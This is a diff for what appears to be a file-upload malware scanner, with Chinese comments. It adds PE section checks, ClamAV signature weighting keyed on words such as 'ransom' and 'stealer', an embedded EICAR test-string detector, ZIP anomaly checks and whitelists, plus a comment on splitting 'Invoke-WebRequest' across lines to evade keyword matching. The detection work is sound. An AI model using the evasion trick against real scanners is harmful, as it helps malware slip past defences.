detail=f"手工 PE 分析检测到可写且可执行的危险节:{', '.join(rwx_sections)}",
|
||||||
|
weight=50.0,
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
return findings
|
||||||
|
|
||||||
|
|
||||||
# ---------- 模块级全局 YARA 规则单例 ----------
|
# ---------- 模块级全局 YARA 规则单例 ----------
|
||||||
# 所有 YaraEngine 实例共享同一个编译结果,避免重复 compile
|
# 所有 YaraEngine 实例共享同一个编译结果,避免重复 compile
|
||||||
# rules_dir 不同时(极少见)才分叉加载
|
# rules_dir 不同时(极少见)才分叉加载
|
||||||
@@ -174,6 +252,10 @@ class BinaryEngine(Engine):
|
|||||||
weight=10.0,
|
weight=10.0,
|
||||||
)
|
)
|
||||||
)
|
)
|
||||||
|
# --- pefile 失败时尝试手工 PE 分析(覆盖假 PE / 伪装 PE)---
|
||||||
|
manual = _manual_pe_analysis(target.path)
|
||||||
|
if manual:
|
||||||
|
result.findings.extend(manual)
|
||||||
return result
|
return result
|
||||||
|
|
||||||
try:
|
try:
|
||||||
@@ -218,7 +300,7 @@ class BinaryEngine(Engine):
|
|||||||
severity=Severity.HIGH.value,
|
severity=Severity.HIGH.value,
|
||||||
rule="SuspiciousImports",
|
rule="SuspiciousImports",
|
||||||
detail=f"导入表包含高危 API:{', '.join(suspicious_imports[:8])}",
|
detail=f"导入表包含高危 API:{', '.join(suspicious_imports[:8])}",
|
||||||
weight=45.0,
|
weight=25.0,
|
||||||
)
|
)
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -254,6 +336,107 @@ class BinaryEngine(Engine):
|
|||||||
except Exception: # noqa: BLE001
|
except Exception: # noqa: BLE001
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
# 5) UPX 壳显式检测 —— 检查节名 UPX0 / UPX1 / UPX!
|
||||||
|
upx_sections = []
|
||||||
|
for section in getattr(pe, "sections", []) or []:
|
||||||
|
try:
|
||||||
|
name = section.Name.rstrip(b"\x00").decode("utf-8", errors="replace")
|
||||||
|
if name.upper().startswith("UPX"):
|
||||||
|
upx_sections.append(name)
|
||||||
|
except Exception:
|
||||||
|
continue
|
||||||
|
if upx_sections:
|
||||||
|
findings.append(
|
||||||
|
Finding(
|
||||||
|
engine=self.name,
|
||||||
|
layer=self.layer,
|
||||||
|
severity=Severity.MEDIUM.value,
|
||||||
|
rule="UPXPackerDetected",
|
||||||
|
detail=f"检测到 UPX 加壳节:{', '.join(upx_sections)}",
|
||||||
|
weight=30.0,
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
# 6) RWX 可写可执行节 —— 高危(绕过 DEP 的典型手法)
|
||||||
|
from pefile import SECTION_CHARACTERISTICS # noqa: PLC0415
|
||||||
|
MEM_EXECUTE = SECTION_CHARACTERISTICS["IMAGE_SCN_MEM_EXECUTE"]
|
||||||
|
MEM_WRITE = SECTION_CHARACTERISTICS["IMAGE_SCN_MEM_WRITE"]
|
||||||
|
rwx_sections = []
|
||||||
|
for section in getattr(pe, "sections", []) or []:
|
||||||
|
try:
|
||||||
|
flags = section.Characteristics
|
||||||
|
if (flags & MEM_EXECUTE) and (flags & MEM_WRITE):
|
||||||
|
name = section.Name.rstrip(b"\x00").decode("utf-8", errors="replace")
|
||||||
|
rwx_sections.append(name)
|
||||||
|
except Exception:
|
||||||
|
continue
|
||||||
|
if rwx_sections:
|
||||||
|
findings.append(
|
||||||
|
Finding(
|
||||||
|
engine=self.name,
|
||||||
|
layer=self.layer,
|
||||||
|
severity=Severity.HIGH.value,
|
||||||
|
rule="RWXSectionDetected",
|
||||||
|
detail=f"检测到可写且可执行的危险节:{', '.join(rwx_sections)}",
|
||||||
|
weight=40.0,
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
# 7) 32/64 位识别(info 级别,辅助判断)
|
||||||
|
machine = None
|
||||||
|
pe32 = None
|
||||||
|
try:
|
||||||
|
machine = int(pe.FILE_HEADER.Machine)
|
||||||
|
pe32 = (pe.OPTIONAL_HEADER.Magic == 0x10B) # PE32
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
if machine is not None:
|
||||||
|
try:
|
||||||
|
from pefile import MACHINE_TYPES # noqa: PLC0415
|
||||||
|
machine_name = MACHINE_TYPES.get(machine, f"UNKNOWN(0x{machine:04x})")
|
||||||
|
except Exception:
|
||||||
|
machine_name = f"0x{machine:04x}"
|
||||||
|
bits = "32-bit" if pe32 else "64-bit"
|
||||||
|
findings.append(
|
||||||
|
Finding(
|
||||||
|
engine=self.name,
|
||||||
|
layer=self.layer,
|
||||||
|
severity=Severity.LOW.value,
|
||||||
|
rule="PEArchInfo",
|
||||||
|
detail=f"PE 架构:{machine_name} / {bits}",
|
||||||
|
weight=0.0,
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
# 8) 调试信息(pdb 路径或 debug 节)
|
||||||
|
has_debug_dir = False
|
||||||
|
has_debug_section = False
|
||||||
|
try:
|
||||||
|
debug_dir = pe.OPTIONAL_HEADER.DATA_DIRECTORY[6] # IMAGE_DIRECTORY_ENTRY_DEBUG
|
||||||
|
if debug_dir.VirtualAddress and debug_dir.Size:
|
||||||
|
has_debug_dir = True
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
for section in getattr(pe, "sections", []) or []:
|
||||||
|
try:
|
||||||
|
name = section.Name.rstrip(b"\x00").decode("utf-8", errors="replace").lower()
|
||||||
|
if ".debug" in name or name.startswith("debug") or name.startswith(".pdb"):
|
||||||
|
has_debug_section = True
|
||||||
|
break
|
||||||
|
except Exception:
|
||||||
|
continue
|
||||||
|
if has_debug_dir or has_debug_section:
|
||||||
|
findings.append(
|
||||||
|
Finding(
|
||||||
|
engine=self.name,
|
||||||
|
layer=self.layer,
|
||||||
|
severity=Severity.LOW.value,
|
||||||
|
rule="DebugInformationPresent",
|
||||||
|
detail="PE 包含调试信息(PDB 路径或 .debug 节),可用于逆向定位",
|
||||||
|
weight=10.0,
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
return findings
|
return findings
|
||||||
|
|
||||||
def _suspicious_imports(self, pe: Any) -> List[str]:
|
def _suspicious_imports(self, pe: Any) -> List[str]:
|
||||||
|
|||||||
@@ -271,14 +271,27 @@ _HIGH_KEYWORDS = ("ransom", "crypt", "trojan", "backdoor", "rootkit", "stealer",
|
|||||||
_MEDIUM_KEYWORDS = ("generic", "heur", "packed", "obfusc", "suspect", "malware", "riskware", "virus")
|
_MEDIUM_KEYWORDS = ("generic", "heur", "packed", "obfusc", "suspect", "malware", "riskware", "virus")
|
||||||
_UNWANTED_KEYWORDS = ("PUA", "unwanted", "toolkit", "pup", "adware")
|
_UNWANTED_KEYWORDS = ("PUA", "unwanted", "toolkit", "pup", "adware")
|
||||||
|
|
||||||
|
# EICAR 测试病毒签名 —— 明确标为 critical(等保要求:检测到即阻断)
|
||||||
|
_EICAR_SIGNATURES = ("Eicar-Test-Signature", "EICAR-AV-Test", "Eicar-Test-Signature.UNOFFICIAL")
|
||||||
|
|
||||||
|
|
||||||
def _judge_signature(signature: str) -> tuple[str, float]:
|
def _judge_signature(signature: str) -> tuple[str, float]:
|
||||||
"""依据签名名判定严重度与权重。"""
|
"""依据签名名判定严重度与权重。
|
||||||
|
|
||||||
|
权重档位:
|
||||||
|
critical 95 → ClamAV 明确的高危家族(ransom/stealer/worm/...)
|
||||||
|
critical 90 → EICAR 测试病毒(必须阻断)
|
||||||
|
high 85 → 其他 malware 签名(默认,检测到即危险)
|
||||||
|
medium 25 → PUA/广告软件等低危
|
||||||
|
"""
|
||||||
upper = signature.upper()
|
upper = signature.upper()
|
||||||
if any(k in upper for k in _HIGH_KEYWORDS):
|
if upper in _EICAR_SIGNATURES or "EICAR" in upper:
|
||||||
return Severity.CRITICAL.value, 90.0
|
return Severity.CRITICAL.value, 90.0
|
||||||
|
if any(k in upper for k in _HIGH_KEYWORDS):
|
||||||
|
return Severity.CRITICAL.value, 95.0
|
||||||
if any(k in upper for k in _UNWANTED_KEYWORDS):
|
if any(k in upper for k in _UNWANTED_KEYWORDS):
|
||||||
return Severity.MEDIUM.value, 25.0
|
return Severity.MEDIUM.value, 25.0
|
||||||
if any(k in upper for k in _MEDIUM_KEYWORDS):
|
if any(k in upper for k in _MEDIUM_KEYWORDS):
|
||||||
return Severity.HIGH.value, 60.0
|
return Severity.HIGH.value, 70.0
|
||||||
return Severity.HIGH.value, 55.0
|
# 默认:ClamAV 签名命中就是 malware,直接高危
|
||||||
|
return Severity.HIGH.value, 85.0
|
||||||
|
|||||||
@@ -27,7 +27,14 @@ from app.engines.base import Finding, ScanTarget, Severity
|
|||||||
ARCHIVE_EXTS = {".zip", ".jar", ".war", ".apk", ".epub", ".docx", ".xlsx", ".pptx", ".odt", ".ods", ".odp"}
|
ARCHIVE_EXTS = {".zip", ".jar", ".war", ".apk", ".epub", ".docx", ".xlsx", ".pptx", ".odt", ".ods", ".odp"}
|
||||||
TAR_EXTS = {".tar", ".gz", ".tgz", ".bz2", ".xz", ".tbz2", ".txz"}
|
TAR_EXTS = {".tar", ".gz", ".tgz", ".bz2", ".xz", ".tbz2", ".txz"}
|
||||||
|
|
||||||
_SAFE_NAME_RE = re.compile(r"[^A-Za-z0-9._一-鿿-]+")
|
_SAFE_NAME_RE = re.compile(
|
||||||
|
r"[^A-Za-z0-9._一-鿿" # ASCII + CJK 统一汉字
|
||||||
|
r"\U0001F300-\U0001FAFF" # Emoji 表情符号
|
||||||
|
r"\U0001F000-\U0001F2FF" # 符号和象形文字扩展 A
|
||||||
|
r"\U00002600-\U000027BF" # 杂项符号 + 装饰符号
|
||||||
|
r"\U00002B00-\U00002BFF" # 箭头等
|
||||||
|
r"-]+"
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
@dataclass
|
@dataclass
|
||||||
|
|||||||
@@ -65,6 +65,13 @@ class KeywordEngine(Engine):
|
|||||||
if not text:
|
if not text:
|
||||||
return result
|
return result
|
||||||
|
|
||||||
|
# ---- 预处理:合并换行符以支持跨行关键词 ----
|
||||||
|
# 攻击者会把 Invoke-WebRequest 这种关键字用 CRLF 拆成
|
||||||
|
# "Invoke-Web\r\nRequest" 来绕过基于单行的匹配。
|
||||||
|
# 这里把所有 \r\n / \r / \n 替换为空,让跨行关键词重新拼接。
|
||||||
|
# 注意:不影响纯文本/多行语义,我们匹配的都是单行关键词或跨行命令。
|
||||||
|
text = text.replace("\r\n", "").replace("\r", "").replace("\n", "")
|
||||||
|
|
||||||
for rule in self._compiled:
|
for rule in self._compiled:
|
||||||
match_mode = rule.get("match", "contains")
|
match_mode = rule.get("match", "contains")
|
||||||
rule_name = rule.get("name", "keyword")
|
rule_name = rule.get("name", "keyword")
|
||||||
|
|||||||
@@ -131,6 +131,9 @@ class StructureEngine(Engine):
|
|||||||
# 4c) 伪装扩展名 & 双扩展名
|
# 4c) 伪装扩展名 & 双扩展名
|
||||||
findings.extend(self._check_extension_mismatch(target, real_type, real_ext))
|
findings.extend(self._check_extension_mismatch(target, real_type, real_ext))
|
||||||
|
|
||||||
|
# 4d) 内嵌 EICAR 字节序列检测(ClamAV 只匹配精确 68B 纯 EICAR 的补充)
|
||||||
|
findings.extend(_check_embedded_eicar(target.path, ext, result.meta.get("size", 0)))
|
||||||
|
|
||||||
# 5) LNK 快捷方式深度解析(Windows 专属,Linux 纵深防御)
|
# 5) LNK 快捷方式深度解析(Windows 专属,Linux 纵深防御)
|
||||||
if ext == ".lnk" or real_ext == ".lnk":
|
if ext == ".lnk" or real_ext == ".lnk":
|
||||||
findings.extend(self._inspect_lnk(target))
|
findings.extend(self._inspect_lnk(target))
|
||||||
@@ -577,6 +580,7 @@ class StructureEngine(Engine):
|
|||||||
|
|
||||||
# ZIP/OOXML 结构损坏(CRC 校验或 central directory)
|
# ZIP/OOXML 结构损坏(CRC 校验或 central directory)
|
||||||
if real_lower.startswith("zip") or ext in {".docx", ".xlsx", ".pptx", ".xlsm", ".docm", ".pptm", ".zip", ".jar", ".apk"}:
|
if real_lower.startswith("zip") or ext in {".docx", ".xlsx", ".pptx", ".xlsm", ".docm", ".pptm", ".zip", ".jar", ".apk"}:
|
||||||
|
findings.extend(_check_zip_trailing_garbage(path))
|
||||||
try:
|
try:
|
||||||
with zf.ZipFile(path, "r") as zfh:
|
with zf.ZipFile(path, "r") as zfh:
|
||||||
bad = zfh.testzip()
|
bad = zfh.testzip()
|
||||||
@@ -647,19 +651,10 @@ class StructureEngine(Engine):
|
|||||||
filename = (target.filename or "").lower()
|
filename = (target.filename or "").lower()
|
||||||
|
|
||||||
# 双扩展名:安全扩展名 + 危险扩展名结尾(如 invoice.pdf.exe)
|
# 双扩展名:安全扩展名 + 危险扩展名结尾(如 invoice.pdf.exe)
|
||||||
safe_then_dangerous = (
|
# 用 DANGEROUS_EXTS 做单一事实源,避免手工维护 endswith 链漏覆盖
|
||||||
filename.endswith(".exe") or filename.endswith(".dll") or filename.endswith(".scr")
|
_dangerous_tuple = tuple(sorted(DANGEROUS_EXTS, key=len, reverse=True))
|
||||||
or filename.endswith(".com") or filename.endswith(".pif") or filename.endswith(".cpl")
|
safe_then_dangerous = filename.endswith(_dangerous_tuple)
|
||||||
or filename.endswith(".msi") or filename.endswith(".lnk") or filename.endswith(".chm")
|
safe_exts = _SAFE_PREFIX_EXTS
|
||||||
or filename.endswith(".bat") or filename.endswith(".cmd") or filename.endswith(".ps1")
|
|
||||||
or filename.endswith(".vbs") or filename.endswith(".hta")
|
|
||||||
or filename.endswith(".elf") or filename.endswith(".so")
|
|
||||||
or filename.endswith(".desktop") or filename.endswith(".run") or filename.endswith(".bin")
|
|
||||||
or filename.endswith(".deb") or filename.endswith(".appimage")
|
|
||||||
)
|
|
||||||
safe_exts = {".txt", ".pdf", ".jpg", ".jpeg", ".png", ".gif", ".bmp", ".doc", ".docx",
|
|
||||||
".xls", ".xlsx", ".ppt", ".pptx", ".rtf", ".csv", ".xml", ".html", ".htm",
|
|
||||||
".zip", ".rar", ".7z", ".wps", ".et", ".dps", ".wpt", ".ett", ".dpt"}
|
|
||||||
|
|
||||||
if safe_then_dangerous:
|
if safe_then_dangerous:
|
||||||
# 取最后两个扩展名
|
# 取最后两个扩展名
|
||||||
@@ -685,7 +680,7 @@ class StructureEngine(Engine):
|
|||||||
return findings
|
return findings
|
||||||
|
|
||||||
# 真实类型危险可执行,声明安全类型 → 伪装
|
# 真实类型危险可执行,声明安全类型 → 伪装
|
||||||
from app.engines.structure import DANGEROUS_EXTS
|
# DANGEROUS_EXTS 是模块级常量,此处直接引用
|
||||||
if real_ext in DANGEROUS_EXTS and ext not in DANGEROUS_EXTS and ext:
|
if real_ext in DANGEROUS_EXTS and ext not in DANGEROUS_EXTS and ext:
|
||||||
findings.append(
|
findings.append(
|
||||||
Finding(
|
Finding(
|
||||||
@@ -869,7 +864,9 @@ class StructureEngine(Engine):
|
|||||||
total_uncompressed = 0
|
total_uncompressed = 0
|
||||||
executable_members: List[str] = []
|
executable_members: List[str] = []
|
||||||
traversal_members: List[str] = []
|
traversal_members: List[str] = []
|
||||||
|
long_filename_members: List[str] = []
|
||||||
member_count = 0
|
member_count = 0
|
||||||
|
encrypted_count = 0
|
||||||
|
|
||||||
try:
|
try:
|
||||||
with zipfile.ZipFile(target.path) as zf:
|
with zipfile.ZipFile(target.path) as zf:
|
||||||
@@ -883,6 +880,10 @@ class StructureEngine(Engine):
|
|||||||
executable_members.append(name)
|
executable_members.append(name)
|
||||||
if _is_path_traversal(name):
|
if _is_path_traversal(name):
|
||||||
traversal_members.append(name)
|
traversal_members.append(name)
|
||||||
|
if info.flag_bits & 0x1: # ZIP 加密标志(bit 0)
|
||||||
|
encrypted_count += 1
|
||||||
|
if len(os.path.basename(name)) > 120:
|
||||||
|
long_filename_members.append(name)
|
||||||
except Exception as exc: # noqa: BLE001
|
except Exception as exc: # noqa: BLE001
|
||||||
return [
|
return [
|
||||||
Finding(
|
Finding(
|
||||||
@@ -955,6 +956,30 @@ class StructureEngine(Engine):
|
|||||||
)
|
)
|
||||||
)
|
)
|
||||||
|
|
||||||
|
if encrypted_count > 0:
|
||||||
|
findings.append(
|
||||||
|
Finding(
|
||||||
|
engine=self.name,
|
||||||
|
layer=self.layer,
|
||||||
|
severity=Severity.MEDIUM.value,
|
||||||
|
rule="EncryptedArchive",
|
||||||
|
detail=f"归档内含加密成员 {encrypted_count} 个(bit0 flag 置位),无法扫描内部内容",
|
||||||
|
weight=20.0,
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
if long_filename_members:
|
||||||
|
findings.append(
|
||||||
|
Finding(
|
||||||
|
engine=self.name,
|
||||||
|
layer=self.layer,
|
||||||
|
severity=Severity.LOW.value,
|
||||||
|
rule="LongFilename",
|
||||||
|
detail=f"归档内存在超长文件名(>120 字符){len(long_filename_members)} 个,可能规避扫描或探测边界",
|
||||||
|
weight=5.0,
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
return findings
|
return findings
|
||||||
|
|
||||||
def _inspect_tar(self, target: ScanTarget, max_ratio: int, max_total: int) -> List[Finding]:
|
def _inspect_tar(self, target: ScanTarget, max_ratio: int, max_total: int) -> List[Finding]:
|
||||||
@@ -1033,17 +1058,115 @@ def _is_path_traversal(name: str) -> bool:
|
|||||||
return ".." in parts
|
return ".." in parts
|
||||||
|
|
||||||
|
|
||||||
|
# 安全/文档类扩展名集合——双扩展名伪装中作为"前缀"出现
|
||||||
|
_SAFE_PREFIX_EXTS = DOCUMENT_EXTS | {
|
||||||
|
".txt", ".log", ".csv", ".json", ".xml", ".html", ".htm",
|
||||||
|
".jpg", ".jpeg", ".png", ".gif", ".bmp", ".tiff", ".svg",
|
||||||
|
".zip", ".rar", ".7z", ".tar", ".gz", ".bz2",
|
||||||
|
".wps", ".et", ".dps", ".wpt", ".ett", ".dpt", ".rtf", ".odt",
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def _check_embedded_eicar(path: str, ext: str, size: int) -> List[Finding]:
|
||||||
|
"""检测文件中是否内嵌 EICAR 测试病毒字节序列。
|
||||||
|
|
||||||
|
ClamAV 的 Eicar-Test-Signature 只匹配**精确 68 字节纯 EICAR 文件**——
|
||||||
|
任何把 EICAR 前面/后面加哪怕一个字节的文件(比如加换行、嵌入大文件尾部)
|
||||||
|
都不会被命中。本函数作为补充,对文本/代码文件扫描是否含有 EICAR 字节串。
|
||||||
|
|
||||||
|
检测范围限制在前 1MB(足够覆盖绝大多数场景,同时防止扫描超大文件)。
|
||||||
|
"""
|
||||||
|
findings: List[Finding] = []
|
||||||
|
# 标准 EICAR 字节序列(注意:Python 字符串里 \ 是转义,这里用原始 bytes)
|
||||||
|
EICAR_BYTES = b"X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
|
||||||
|
# 只对纯文本/代码类扩展名做(二进制文件里出现 EICAR 几乎不可能)
|
||||||
|
TEXT_EXTS = {".txt", ".ps1", ".js", ".bat", ".cmd", ".vbs", ".sh", ".bash",
|
||||||
|
".py", ".php", ".asp", ".jsp", ".html", ".htm", ".csv", ".log",
|
||||||
|
".json", ".xml", ".yaml", ".yml", ".cfg", ".conf", ".ini", ".reg"}
|
||||||
|
if ext not in TEXT_EXTS:
|
||||||
|
return findings
|
||||||
|
try:
|
||||||
|
with open(path, "rb") as fh:
|
||||||
|
head = fh.read(1024 * 1024) # 前 1MB
|
||||||
|
if EICAR_BYTES in head:
|
||||||
|
findings.append(
|
||||||
|
Finding(
|
||||||
|
engine="structure", layer="L0",
|
||||||
|
severity=Severity.HIGH.value, rule="EmbeddedEICAR",
|
||||||
|
detail=f"文件内嵌 EICAR 测试病毒字节序列(文件大小 {size}B)",
|
||||||
|
weight=35.0,
|
||||||
|
)
|
||||||
|
)
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
return findings
|
||||||
|
|
||||||
|
|
||||||
|
def _check_zip_trailing_garbage(path: str) -> List[Finding]:
|
||||||
|
"""检测 ZIP/OOXML 文件尾部是否有多余数据(假损坏/被篡改的典型模式)。
|
||||||
|
|
||||||
|
攻击者可能在 EOCD 记录 (PK\x05\x06) 之后追加任意字节,
|
||||||
|
Python zipfile 能正常打开(只要中央目录完整),但这属于结构异常。
|
||||||
|
"""
|
||||||
|
findings: List[Finding] = []
|
||||||
|
try:
|
||||||
|
with open(path, "rb") as fh:
|
||||||
|
fh.seek(0, 2)
|
||||||
|
fsize = fh.tell()
|
||||||
|
# 读尾部 64KB(EOCD 至少 22B,从后往前搜 PK\x05\x06)
|
||||||
|
tail_size = min(64 * 1024, fsize)
|
||||||
|
fh.seek(fsize - tail_size)
|
||||||
|
tail = fh.read()
|
||||||
|
|
||||||
|
eocd_pos = tail.rfind(b"PK\x05\x06")
|
||||||
|
if eocd_pos < 0:
|
||||||
|
return findings # 没找到 EOCD,由其他 BadZipFile 路径处理
|
||||||
|
|
||||||
|
# EOCD 结构最小 22 字节,必须确保 22 字节完整 + comment_len 可读取
|
||||||
|
if eocd_pos + 22 > len(tail):
|
||||||
|
return findings # EOCD 被截断,不做判定
|
||||||
|
|
||||||
|
# EOCD comment_len 在偏移 20-21 (little-endian)
|
||||||
|
eocd_comment_len = tail[eocd_pos + 20] | (tail[eocd_pos + 21] << 8)
|
||||||
|
eocd_total = 22 + eocd_comment_len
|
||||||
|
# comment_len 超过实际剩余大小也是异常,跳过
|
||||||
|
if eocd_pos + eocd_total > len(tail):
|
||||||
|
return findings
|
||||||
|
|
||||||
|
garbage = tail_size - eocd_pos - eocd_total
|
||||||
|
|
||||||
|
if garbage > 0:
|
||||||
|
findings.append(
|
||||||
|
Finding(
|
||||||
|
engine="structure", layer="L0",
|
||||||
|
severity=Severity.MEDIUM.value, rule="MalformedStructure",
|
||||||
|
detail=f"ZIP 尾部 EOCD 后存在 {garbage} 字节多余数据,疑似篡改或假损坏",
|
||||||
|
weight=25.0,
|
||||||
|
)
|
||||||
|
)
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
return findings
|
||||||
|
|
||||||
|
|
||||||
def _has_double_ext(filename: str) -> bool:
|
def _has_double_ext(filename: str) -> bool:
|
||||||
"""判断文件名是否包含两个以上扩展名。"""
|
"""判断文件名是否为双扩展名伪装。
|
||||||
|
|
||||||
|
正确逻辑:最后一个扩展名是 DANGEROUS_EXTS 里的危险可执行类型(黑名单基准,
|
||||||
|
单一事实源),倒数第二个是安全/文档类(可能被攻击者故意放在前面伪装)。
|
||||||
|
例如 invoice.docx.js → .js 危险 + .docx 安全 → True。
|
||||||
|
"""
|
||||||
name = os.path.basename(filename)
|
name = os.path.basename(filename)
|
||||||
parts = name.split(".")
|
parts = name.split(".")
|
||||||
if len(parts) < 3:
|
if len(parts) < 3:
|
||||||
return False
|
return False
|
||||||
prefix_ext = "." + parts[-2].lower()
|
prefix_ext = "." + parts[-2].lower()
|
||||||
suffix_ext = "." + parts[-1].lower()
|
suffix_ext = "." + parts[-1].lower()
|
||||||
if suffix_ext not in SUSPICIOUS_DOUBLE_EXT:
|
# 核心:以 DANGEROUS_EXTS 为单一事实源
|
||||||
|
if suffix_ext not in DANGEROUS_EXTS:
|
||||||
return False
|
return False
|
||||||
return prefix_ext in DANGEROUS_EXTS or prefix_ext in SUSPICIOUS_DOUBLE_EXT
|
# 前缀必须是安全/文档类,才算"伪装"
|
||||||
|
return prefix_ext in _SAFE_PREFIX_EXTS
|
||||||
|
|
||||||
|
|
||||||
def _compatible_exts(real_ext: str, real_type: str) -> set[str]:
|
def _compatible_exts(real_ext: str, real_type: str) -> set[str]:
|
||||||
|
|||||||
@@ -71,6 +71,11 @@ class ScanTask(Base):
|
|||||||
back_populates="task", cascade="all, delete-orphan", lazy="selectin"
|
back_populates="task", cascade="all, delete-orphan", lazy="selectin"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
__table_args__ = (
|
||||||
|
# 控制台高频查询: WHERE channel = X ORDER BY created_at DESC LIMIT N
|
||||||
|
Index("ix_scan_tasks_channel_created", "channel", "created_at", postgresql_using="btree"),
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
class ScanFinding(Base):
|
class ScanFinding(Base):
|
||||||
__tablename__ = "scan_findings"
|
__tablename__ = "scan_findings"
|
||||||
|
|||||||
@@ -99,6 +99,17 @@ class Policy:
|
|||||||
"""内网特征词表规则(L2B 引擎使用)。"""
|
"""内网特征词表规则(L2B 引擎使用)。"""
|
||||||
return self.raw.get("keyword_rules", []) or []
|
return self.raw.get("keyword_rules", []) or []
|
||||||
|
|
||||||
|
@property
|
||||||
|
def keyword_whitelist(self) -> List[Dict[str, Any]]:
|
||||||
|
"""关键词白名单。规则命中后,若 detail 包含 allowed_keywords 中任一子串 → 过滤。"""
|
||||||
|
return self.raw.get("keyword_whitelist", []) or []
|
||||||
|
|
||||||
|
@property
|
||||||
|
def yara_hash_whitelist_set(self) -> set[str]:
|
||||||
|
"""YARA 哈希白名单(返回 MD5 集合,便于快速查询)。"""
|
||||||
|
raw = self.raw.get("yara_hash_whitelist", []) or []
|
||||||
|
return {str(entry.get("md5", "")).lower() for entry in raw if isinstance(entry, dict) and entry.get("md5")}
|
||||||
|
|
||||||
@property
|
@property
|
||||||
def yara_weights(self) -> Dict[str, float]:
|
def yara_weights(self) -> Dict[str, float]:
|
||||||
"""YARA 规则权重映射:规则名 → weight(0-100)。
|
"""YARA 规则权重映射:规则名 → weight(0-100)。
|
||||||
@@ -289,15 +300,18 @@ class PolicyStore:
|
|||||||
def _load_db_or_yaml(self) -> Policy:
|
def _load_db_or_yaml(self) -> Policy:
|
||||||
"""优先 DB,回退 YAML。"""
|
"""优先 DB,回退 YAML。"""
|
||||||
try:
|
try:
|
||||||
from sqlalchemy import select
|
|
||||||
from app.db import SessionLocal
|
from app.db import SessionLocal
|
||||||
from app.models import PolicyVersion
|
from app.models import PolicyVersion
|
||||||
|
|
||||||
db = SessionLocal()
|
db = SessionLocal()
|
||||||
try:
|
try:
|
||||||
pv = db.execute(
|
# 用 ORM Query API — 直接返回 PolicyVersion 对象
|
||||||
select(PolicyVersion).order_by(PolicyVersion.created_at.desc())
|
# 而不是 Row 对象(db.execute(select) 会返回 Row)
|
||||||
).scalar_one_or_none()
|
pv = (
|
||||||
|
db.query(PolicyVersion)
|
||||||
|
.order_by(PolicyVersion.created_at.desc())
|
||||||
|
.first() # 取最新一条,不管历史版本多少条
|
||||||
|
)
|
||||||
if pv:
|
if pv:
|
||||||
policy = Policy(
|
policy = Policy(
|
||||||
version=pv.version,
|
version=pv.version,
|
||||||
@@ -387,6 +401,7 @@ class PolicyEngine:
|
|||||||
real_type: str = "",
|
real_type: str = "",
|
||||||
engine_errors: Optional[List[str]] = None,
|
engine_errors: Optional[List[str]] = None,
|
||||||
encrypted: bool = False,
|
encrypted: bool = False,
|
||||||
|
md5: str = "",
|
||||||
) -> Decision:
|
) -> Decision:
|
||||||
"""综合所有信号产出最终裁决。
|
"""综合所有信号产出最终裁决。
|
||||||
|
|
||||||
@@ -410,6 +425,38 @@ class PolicyEngine:
|
|||||||
|
|
||||||
ext = (declared_ext or "").lower()
|
ext = (declared_ext or "").lower()
|
||||||
|
|
||||||
|
# ======================================================================
|
||||||
|
# 步骤 -1:白名单过滤(优先级最高)
|
||||||
|
# ======================================================================
|
||||||
|
# 命中白名单的规则从 findings 中移除,不再参与任何后续裁决。
|
||||||
|
# 包括:关键词白名单(按 rule + detail 子串匹配)+ YARA 哈希白名单。
|
||||||
|
# ======================================================================
|
||||||
|
wl_filtered: List[Finding] = []
|
||||||
|
keyword_wl = policy.keyword_whitelist
|
||||||
|
for f in findings:
|
||||||
|
skip = False
|
||||||
|
# 关键词白名单:detail 包含 allowed_keywords 任一子串
|
||||||
|
if keyword_wl and f.engine == "keywords":
|
||||||
|
for wl_entry in keyword_wl:
|
||||||
|
if f.rule == wl_entry.get("rule"):
|
||||||
|
allowed = wl_entry.get("allowed_keywords", [])
|
||||||
|
if allowed and any(kw in f.detail for kw in allowed):
|
||||||
|
skip = True
|
||||||
|
logger.info(
|
||||||
|
"白名单放行:rule=%s 命中关键词白名单 detail=%s",
|
||||||
|
f.rule, f.detail,
|
||||||
|
)
|
||||||
|
break
|
||||||
|
# YARA 哈希白名单:md5 在白名单集合中
|
||||||
|
if not skip and f.engine == "yara":
|
||||||
|
wl_set = policy.yara_hash_whitelist_set
|
||||||
|
if wl_set and md5 and md5.lower() in wl_set:
|
||||||
|
skip = True
|
||||||
|
logger.info("白名单放行:YARA 命中但 MD5 在哈希白名单")
|
||||||
|
if not skip:
|
||||||
|
wl_filtered.append(f)
|
||||||
|
findings = wl_filtered
|
||||||
|
|
||||||
# ======================================================================
|
# ======================================================================
|
||||||
# 步骤 0:零容忍规则优先检查
|
# 步骤 0:零容忍规则优先检查
|
||||||
# ======================================================================
|
# ======================================================================
|
||||||
|
|||||||
@@ -159,21 +159,37 @@ class ScanOutcome:
|
|||||||
)
|
)
|
||||||
|
|
||||||
def to_response(self, include_details: bool = True) -> Dict[str, Any]:
|
def to_response(self, include_details: bool = True) -> Dict[str, Any]:
|
||||||
|
"""对外接口响应组装。
|
||||||
|
|
||||||
|
设计原则:调用方拿了就用,不暴露内部权重、严重度、引擎层、
|
||||||
|
策略链等实现细节。保留追溯所需的 task_id / file 哈希 / 时间戳。
|
||||||
|
|
||||||
|
对外暴露 4 个决策驱动字段:
|
||||||
|
- action: 调用方直接据此决定放行/拦截/转人工
|
||||||
|
- reason: 人可读的判定理由
|
||||||
|
- task_id: 用于后续查询 / 审计追溯
|
||||||
|
- file.*: 文件哈希与真实类型,用于追溯举证
|
||||||
|
"""
|
||||||
|
